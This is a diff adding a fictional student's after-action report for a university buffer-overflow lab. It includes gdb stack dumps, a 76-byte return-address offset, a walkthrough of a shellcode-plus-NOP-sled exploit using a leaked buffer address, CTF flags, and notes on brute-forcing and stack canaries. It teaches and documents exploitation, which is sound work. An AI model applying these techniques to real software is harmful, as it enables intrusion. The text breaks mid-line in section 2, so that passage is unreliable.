aren't academic -- a single `fgets()` with a length, or a stack canary, would have stopped me cold. When I write C going forward I'm never going to use an unbounded read again. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/pamela-isley.md b/examples/cecs-378-demo/recon-lab-demo/writeups/pamela-isley.md new file mode 100644 index 0000000..c63bbb8 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/pamela-isley.md @@ -0,0 +1,164 @@ +--- +real-name: Pamela Isley +csulb-id: "040100107" +handle: poison-ivy +seed-fingerprint: 0f00ba +flag1: CECS378{vuln1_2c6ad9f0} +flag2: +honor-flag: CECS378{honor_pi_44be7102} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +I did this in the Codespace off the template so the binaries would match what +the grader rebuilds. I did not build anything on my own machine. + +- Environment: GitHub Codespace, template image, gcc, 32-bit binaries from the + provided Makefile. +- Started: 2026-06-27. +- Finished Phase Phi: 2026-06-30. I did not get Phase Omega working. + +Seed line: + +``` +$ make print-seed +seed: 0f00ba (fp=0f00ba) +``` + +`0f00ba` is the same value as `seed-fingerprint:` in my frontmatter, so the +grader's rebuild should match my binaries. + +[--[ 1.0 -- RECON ]--] + +**vuln1.** I set a breakpoint inside `vuln` after the input read and looked at +the frame and the stack. + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd680: + eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41 + Saved registers: + ebp at 0xffffd678, eip at 0xffffd67c +``` + +``` +(gdb) x/40wx $esp +0xffffd62c: 0x08049080 0xffffd710 0x00000000 0x41414141 +0xffffd63c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd64c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd65c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd66c: 0x41414141 0x41414141 0x41414141 0xf7fb3d20 +0xffffd67c: 0xf7c23a41 0xffffd710 0xffffd718 0x00000000 +``` + +The buffer is the run of `0x41414141` starting at `0xffffd630`, and gdb reports +the saved EIP at `0xffffd67c`. Working from that, the offset to the return +address is **76 bytes**. I checked it by sending 76 `A`s followed by `BBBB` and +EIP came back as `0x42424242`, so 76 is the number I used for the rest of the +lab. + +I only did recon on vuln1 -- I did not get far enough into Phase Omega to need +vuln2's frame, so I did not dump it. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Phi is the shellcode attack on vuln1, which has an executable stack, so I +can run bytes I place in the buffer. + +Walking my `exploit1.c`: + +1. **The shellcode bytes.** I used a 25-byte `execve("/bin/sh")` shellcode + (lines 7-13 of exploit1.c). The reason it is these exact bytes is that the + input is read as a string, so any `0x00` byte would cut my payload off early. + This shellcode is null-free -- it zeroes registers with `xor` instead of + moving in literal zeros, and it pushes `/bin//sh` as two words -- so nothing + in it truncates. I disassembled it back with `objdump` to be sure there were + no zero bytes. + +2. **The NOP sled.** I put a run of `0x90` NOPs in front of the shellcode (line + 19, `sled = b"\x90" * 40`). Because the exact stack address wobbles a little + between gdb and a normal run, I do not need to hit the first byte of my + shellcode exactly -- if EIP lands anywhere in the NOPs it just slides down + into the real code. 40 bytes was enough to absorb the drift and still fit the + shellcode in the 76-byte space. + +3. **Where the offset came from.** The 76 in my payload construction (line 22) + is the recon number from section 1.0 -- start of buffer to saved return + address. + +4. **The leaked address.** vuln1 prints the address of `buffer` before it reads + input, and my exploit reads that line (line 16, + `leak = int(p.stdout.readline().split()[-1], 16)`) and uses it to set the + return address a little bit into the sled (`ret = pack(" Note: I was not able to finish Phase Omega. I understand the general idea -- +> vuln2's stack is not executable, so the Phase Phi shellcode approach will not +> run and you have to return into libc instead -- but I could not get a working +> chain together before the deadline. I am leaving the sub-prompts with their +> template placeholders instead of writing answers I did not actually produce. + +**(3a) Why does the Phase Phi payload segfault against vuln2? Paste the signal +and explain the non-executable stack.** + +[your answer] + +**(3b) Show the libc offsets you used for `system`, `exit`, `setreuid`, and the +`"/bin/sh"` string, and name the tools you used to find them.** + +[your answer] + +**(3c) Explain why a naive `system("/bin/sh")` chain drops the setuid oracle +privilege, and name the fix.** + +[your answer] + +**(3d) Name the gadget-finding tool, give the `pop/pop/ret` address with its +disassembly, and explain why the chain needs it.** + +[your answer] + +Phase Omega flag: `` (not captured). + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why?** +Phase Phi is the only one I got working, and it still fought me -- my first +attempts crashed because I had hardcoded a stack address from gdb and it did not +match the real run. Switching to the leaked `&buffer` address fixed it. I did not +finish Omega, but even reading its prompts it is obviously the harder half, +because losing the executable stack means you cannot just run your own code and +you have to stitch together calls into existing library functions. + +**What if there had been no `&buffer` leak?** +Without the leak I would have had to guess the stack address. My plan would have +been a much bigger NOP sled and a guessed address in the usual `0xffffd000` +neighborhood, re-running the exploit over and over until a run happened to land +in the sled. On 32-bit there are few enough address bits that this kind of +low-entropy brute force actually succeeds in a reasonable number of tries. + +**Why does a stack canary stop this?** +There is a random canary word placed between the buffer and the saved return +address. My overflow writes straight through everything up to the return address, +so it has to clobber the canary. When the function returns, `__stack_chk_fail` +notices the canary no longer matches and aborts the program before `ret` runs, +so I never actually get to redirect EIP -- the attack becomes a crash instead of +a shell. + +**A source that stuck with me.** +I looked at the "Smashing the Stack" reading. + +[Thin -- I skimmed the Phrack article but I did not connect a specific part of it +to my own work, so this reflection is weaker than the other three.]